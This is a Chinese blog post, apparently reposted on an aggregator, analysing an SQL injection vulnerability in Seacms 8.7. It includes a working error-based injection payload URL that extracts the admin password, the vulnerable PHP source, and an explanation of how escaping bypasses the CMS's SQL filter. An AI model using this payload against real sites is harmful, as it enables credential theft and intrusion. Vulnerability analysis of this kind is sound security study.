sql return的用法_【实用技能】Seacms 8.7版本SQL注入分析

有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解。其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注入分析的内容,一定要认真学习哦。

38b7a9ff83ed27785d37da53401646fa.png

0x01环境

Web:phpstudy and MAMP

System:Windows 7 X64 and MacOSBrowser:Firefox Quantum and ChromeMySQL:5.5php:5.4

0x02漏洞详情

漏洞复现

payload:

http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
12cf7db8df3c68269c149d5940a0ffb4.png

漏洞分析

之前在MySQL 5.6、5.7上面复现都不成功,因为这两个版本用extractvalue( )、updatexml( )报错注入不成功,后来换了系统Linux和Windows还有macOS来测试也是一样,和PHP、Apache的版本没有影响,还是MySQL的版本问题,所以大家测试的时候注意一下版本。

漏洞文件是在:comment/api/index.php

<?phpsession_start ();require_once("../../include/common.php");$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;$page = (isset($page) && is_numeric($page)) ? $page : 1;$type = (isset($type) && is_numeric($type)) ? $type : 1;$pCount = 0;$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";//缓存第一页的评论if($page<2){        if(file_exists($jsoncachefile))        {                $json=LoadFile($jsoncachefile);                die($json);        }}$h = ReadData($id,$page);$rlist = array();if($page<2){        createTextFile($h,$jsoncachefile);}die($h);        function ReadData($id,$page){        global $type,$pCount,$rlist;        $ret = array("","",$page,0,10,$type,$id);        if($id>0)        {                $ret[0] = Readmlist($id,$page,$ret[4]);                $ret[3] = $pCount;                $x = implode(',',$rlist);                if(!empty($x))                {                $ret[1] = Readrlist($x,1,10000);                }        }                $readData = FormatJson($ret);        return $readData;}function Readmlist($id,$page,$size){        global $dsql,$type,$pCount,$rlist;        $ml=array();        if($id>0)        {                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";                $rs = $dsql ->GetOne($sqlCount);                $pCount = ceil($rs['dd']/$size);                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";                $dsql->setQuery($sql);                $dsql->Execute('commentmlist');                while($row=$dsql->GetArray('commentmlist'))                {                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);                        $ml[]="{"cmid":".$row['id'].","uid":".$row['uid'].","tmp":"","nick":"".$row['username']."","face":"","star":"","anony":".(empty($row['username'])?1:0).","from":"".$row['username']."","time":"".date("Y/n/j H:i:s",$row['dtime'])."","reply":"".$row['reply']."","content":"".$row['msg']."","agree":".$row['agree'].","aginst":".$row['anti'].","pic":"".$row['pic']."","vote":"".$row['vote']."","allow":"".(empty($row['anti'])?0:1)."","check":"".$row['ischeck'].""}";                }        }        $readmlist=join($ml,",");        return $readmlist;}function Readrlist($ids,$page,$size){        global $dsql,$type;        $rl=array();        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";        $dsql->setQuery($sql);        $dsql->Execute('commentrlist');        while($row=$dsql->GetArray('commentrlist'))        {                $rl[]=""".$row['id']."":{"uid":".$row['uid'].","tmp":"","nick":"".$row['username']."","face":"","star":"","anony":".(empty($row['username'])?1:0).","from":"".$row['username']."","time":"".$row['dtime']."","reply":"".$row['reply']."","content":"".$row['msg']."","agree":".$row['agree'].","aginst":".$row['anti'].","pic":"".$row['pic']."","vote":"".$row['vote']."","allow":"".(empty($row['anti'])?0:1)."","check":"".$row['ischeck'].""}";        }        $readrlist=join($rl,",");        return $readrlist;}

传入$rlist的值为我们构造的SQL语句:

@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数。

可以看到执行的SQL语句是:

e145a2687e1d625916ff0190601a951e.png

它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测。

文件在include/sql.class.php的CheckSql函数

//完整的SQL检查        while (true)        {                $pos = strpos($db_string, ''', $pos + 1);                if ($pos === false)                {                        break;                }                $clean .= substr($db_string, $old_pos, $pos - $old_pos);                while (true)                {                        $pos1 = strpos($db_string, ''', $pos + 1);                        $pos2 = strpos($db_string, '', $pos + 1);                        if ($pos1 === false)                        {                                break;                        }                        elseif ($pos2 == false || $pos2 > $pos1)                        {                                $pos = $pos1;                                break;                        }                        $pos = $pos2 + 1;                }                $clean .= '$s$';                $old_pos = $pos + 1;        }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~s+~s' ), array(' '), $clean)));

可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会在这里检测到:

9de5cdac287218e7f4f21763f5170be0.png
7599270ca10bfbb69615787d49de22fa.png

后面$clean就是要送去检测的函数,通过一番处理后得到的值为:

b1c542792f33b804224dfb0a63e7116d.png

后面返回来执行的SQL语句还是原样没动

cb7aae7dc649b77b05855183728153ce.png

以上基本分析就完成了。

最终执行的语句:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`) ORDER BY id DESC

还有一些问题就是构造语句的问题。

刚开始传入的%27后面怎么变成了转义后的单引号?

require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), " (双引号), (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。

所以后面的SQL语句就会加上转义符号,然后经过CheckSql函数的时候就绕过了对报错语句的检测。

function _RunMagicQuotes(&$svar){        if(!get_magic_quotes_gpc())        {                if( is_array($svar) )                {                        foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);                }                else                {                        $svar = addslashes($svar);                }        }        return $svar;}

为什么要加上``两个反引号和@?

因in在MySQL里面用法是:

1f3dbac7e811644a5a8f6c0db0cf653e.png

value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义'''

在MySQL上面是作为一个转义符号来使用,一般为了不让和系统的变量冲突所以使用,一般在数据库名、表名、字段名使用,所以这里用@来使这个成为一个变量类型。

后记

在6.53的版本中include/common.php中的44-47行接收到变量:

foreach(Array('_GET','_POST','_COOKIE') as $_request){        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}

但是在75行这里又重新赋值了:

require_once(sea_DATA."/config.cache.inc.php");
15cccee31e5ebb60533edbf05f1461fd.png

以上是今天的全部内容,大家学会了吗?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/488533.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国科大UCAS胡包钢教授《信息论与机器学习》课程第二讲:信息论基础一

来源&#xff1a;专知信息论中最为基本的概念就是香农熵&#xff08;第8页&#xff09;&#xff0c;由此可以导出信息论中其它各种定义&#xff0c;以至我们常规应用的其它经验式定义&#xff08;以后会提到&#xff09;。学习信息论基础知识时要避免仅是概念与定义的简单记忆&…

通讯录分组名称大全简单_公司起名取名:建筑公司名称大全简单大气

阅读本文前&#xff0c;请您先点击上面的“蓝色字体”再点击关注&#xff0c;这样您就可以继续免费收取到文章了&#xff0c;每天都有分享&#xff0c;完全是免费订阅&#xff0c;请放心关注。时代在变迁&#xff0c;人们的生活节奏在加快&#xff0c;各类楼盘高低错落&#xf…

美国发布《量子网络战略愿景》

来源&#xff1a;国防科技要闻背景探索如何建立量子网络将促进新兴技术的发展&#xff0c;从而加速当前互联网的发展&#xff0c;提高通信的安全性&#xff0c;并大幅推动计算技术的进步。美国将利用其在量子网络领域的领先地位&#xff0c;加速在国家和金融安全、病人隐私、药…

Jürgen Schmidhuber眼中的深度学习十年,以及下一个十年展望

大数据文摘出品来源&#xff1a;Medium作者&#xff1a;Jrgen Schmidhuber编译&#xff1a;张秋玥、马莉2020年是充满科幻的一年&#xff0c;曾经我们畅想飞行汽车、智能洗碗机器人以及能自动写代码的程序&#xff0c;然而这一切都没有发生。2020迎接我们的是澳洲大火、新冠病毒…

docker pidfile_Zabbix5监控Docker

zabbix_agent配置Zabbix 监控Docker 时 agent 需要使用 zabbix_agent2&#xff0c;而不是zabbix_agent主要模式时配置如下&#xff1a;[rootlocalhost#] cat /etc/zabbix/zabbix_agent2.conf |grep -v ^#|grep -v ^$ PidFile/var/run/zabbix/zabbix_agent2.pidLogFile/var/log…

Gartner:2020 年 AI 平台魔力象限:意外多多

来源&#xff1a;云头条众多企业决策者向市场研究公司Gartner寻求企业软件堆栈方面的建议。魔力象限报告是Gartner发布的最可信、最真实、最权威的研究报告之一。由于它影响企业的采购决策&#xff0c;因此诸多供应商竭力想在报告中占有一席之地。Gartner最近发布了数据科学和机…

CentOS6.9编译安装LNMP环境

CentOS6.9编译安装LNMP环境 今天尝试一下用编译的方式来搭建lnmp运行环境。所有软件都采用当前最新版本&#xff0c;除了CentOS。这是由于目前企业大多数应该都还在使用CentOS6的缘故&#xff0c;并且CentOS7目前还在迭代中。虽说不会有大的改动&#xff0c;但也算不上完全稳定…

生物,AI,心理:目前的大脑/认知/意识/AGI/DRL模型

来源&#xff1a;人工智能前沿讲习一 基于生物和经验的模型首先是 2012 年的 Spaun&#xff0c;基于生物基础&#xff08;脑图谱&#xff09;&#xff0c;类生物神经元&#xff08;尖峰放电 SNN&#xff09;。在训练后可完成多种识别和生成和反应任务。map the visual hierar…

java 使用nullable_Java Stream ofNullable(T)用法及代码示例

如果此流不为null&#xff0c;则ofNullable(T)方法将返回包含单个元素的顺序Stream&#xff0c;否则该方法将返回空Stream。它有助于处理空流和NullPointerException。用法:static Stream ofNullable(T t)参数&#xff1a;此方法接受单个参数t&#xff0c;该参数t是要返回其Str…

python数据标注工具_数据标注工具大全汇总,有了这些工具再也不用自己开发了...

数据标注工具大全汇总&#xff0c;有了这些工具再也不用自己开发了。 做数据标注三年了&#xff0c;总是遇到各种各样的需求&#xff0c;总是想找一款最高效&#xff0c;最快速&#xff0c;最好用的标注工具&#xff0c;最重要的是免费&#xff0c;经过三年的收集&#xff0c;大…

决策智能(Decision Intelligence)二三事

来源&#xff1a;https://www.zhihu.com/people/wang-jing-28-89-94什么是决策智能&#xff1f;大家看到这四个字&#xff0c;大多数人心里的发问会是”什么是决策智能“呢&#xff1f;别说你没想&#xff0c;别骗我了。那么什么是决策智能呢&#xff1f;以下是维基的定义&…

python基础——面向对象的程序设计

python基础——面向对象的程序设计 1 什么是面向对象的程序设计 面向过程的程序设计的核心是过程&#xff0c;过程即解决问题的步骤&#xff0c;面向过程的设计就好比精心设计好一条流水线&#xff0c;考虑周全什么时候处理什么东西。 优点是&#xff1a;极大的降低了程序的复杂…

移动端 h5如何生成快捷方式_削微整理了几个经常在H5移动端开发遇到的东西

不用说我也知道&#xff0c;此类文章太多太多了&#xff0c;常见的譬如&#xff1a;viewport、强制浏览器全屏、IOS的Web APP模式、可点击元素出现阴影&#xff08;这个我觉得真没必要去掉&#xff0c;用户点击是需要反馈的&#xff0c;而这个背景色刚刚好提供了一种反馈&#…

SCI至上只是结果,而不是原因

来源&#xff1a;赵斌科学网博客我从来不认为SCI一无是处&#xff0c;相反&#xff0c;我们大多数科研人员应该感谢它。中国科研评价体系中的的问题&#xff0c;不是破四唯&#xff0c;破SCI至上&#xff0c;而是打破特权、消除歧视。近日&#xff0c;教育部和科技部联合发文&a…

spark mysql 交互_Spark - 直接操作数据源 MySQL

如果我们的Mysql服务器性能不咋滴&#xff0c;但是硬盘很够&#xff0c;如何才能做各种复杂的聚合操作&#xff1f;答案就是使用spark的计算能力的&#xff0c;我们可以将mysql数据源接入到spark中。读取val mysqlDF spark.read.format("jdbc").option("driver…

maven+SSM框架工程搭建

1.百度下载 maven 和 tomcat 安装 配置环境变量 2.使用最新版eclipse 集成maven maven conf文件夹下的settings.xml文件配置存放maven仓库的位置&#xff0c;D:\hongzhimei\repository 为存放路径 3.新建工程 项目原型选择webapp项目 在buildPath中选择Edit更改为工作空间默认的…

flask session_Flask干货:Flask数据交换——Session的使用

上一次我们学习了Cookie&#xff0c;知道Cookie是保存在客户端的。那么有的小伙伴就问了&#xff0c;难道只有客户端能保存&#xff1f;服务器就不可以保存吗&#xff1f;&#xff01;当然可以&#xff01;Session就是另一种记录用户状态的机制。Flask的Session是基于Cookie实现…

神经科学中的数学之美

来源&#xff1a;数学中国“不偏袒地讲&#xff0c;数学&#xff0c;不但掌握着真理&#xff0c;还是至美之物。”——罗素关于美学最新的神经学研究显示&#xff0c;视觉、听觉和道德上的美感体验都与“情绪化大脑”的同一个区域有关&#xff1a;内侧眶额叶皮层&#xff08;me…

手机端富文本编辑器_谷歌Pixel系列手机每月更新无痛刷机技巧

本文适合小白&#xff0c;高手可以关闭。&#xff08;以下技巧基本为Pixel3操作&#xff0c;window7平台&#xff0c;Pixel系列手机大同小异&#xff09;谷歌Pixel系列手机属于小众手机&#xff0c;当中刷机有技巧&#xff0c;本人也是小白&#xff0c;经过无数次的实践经验得出…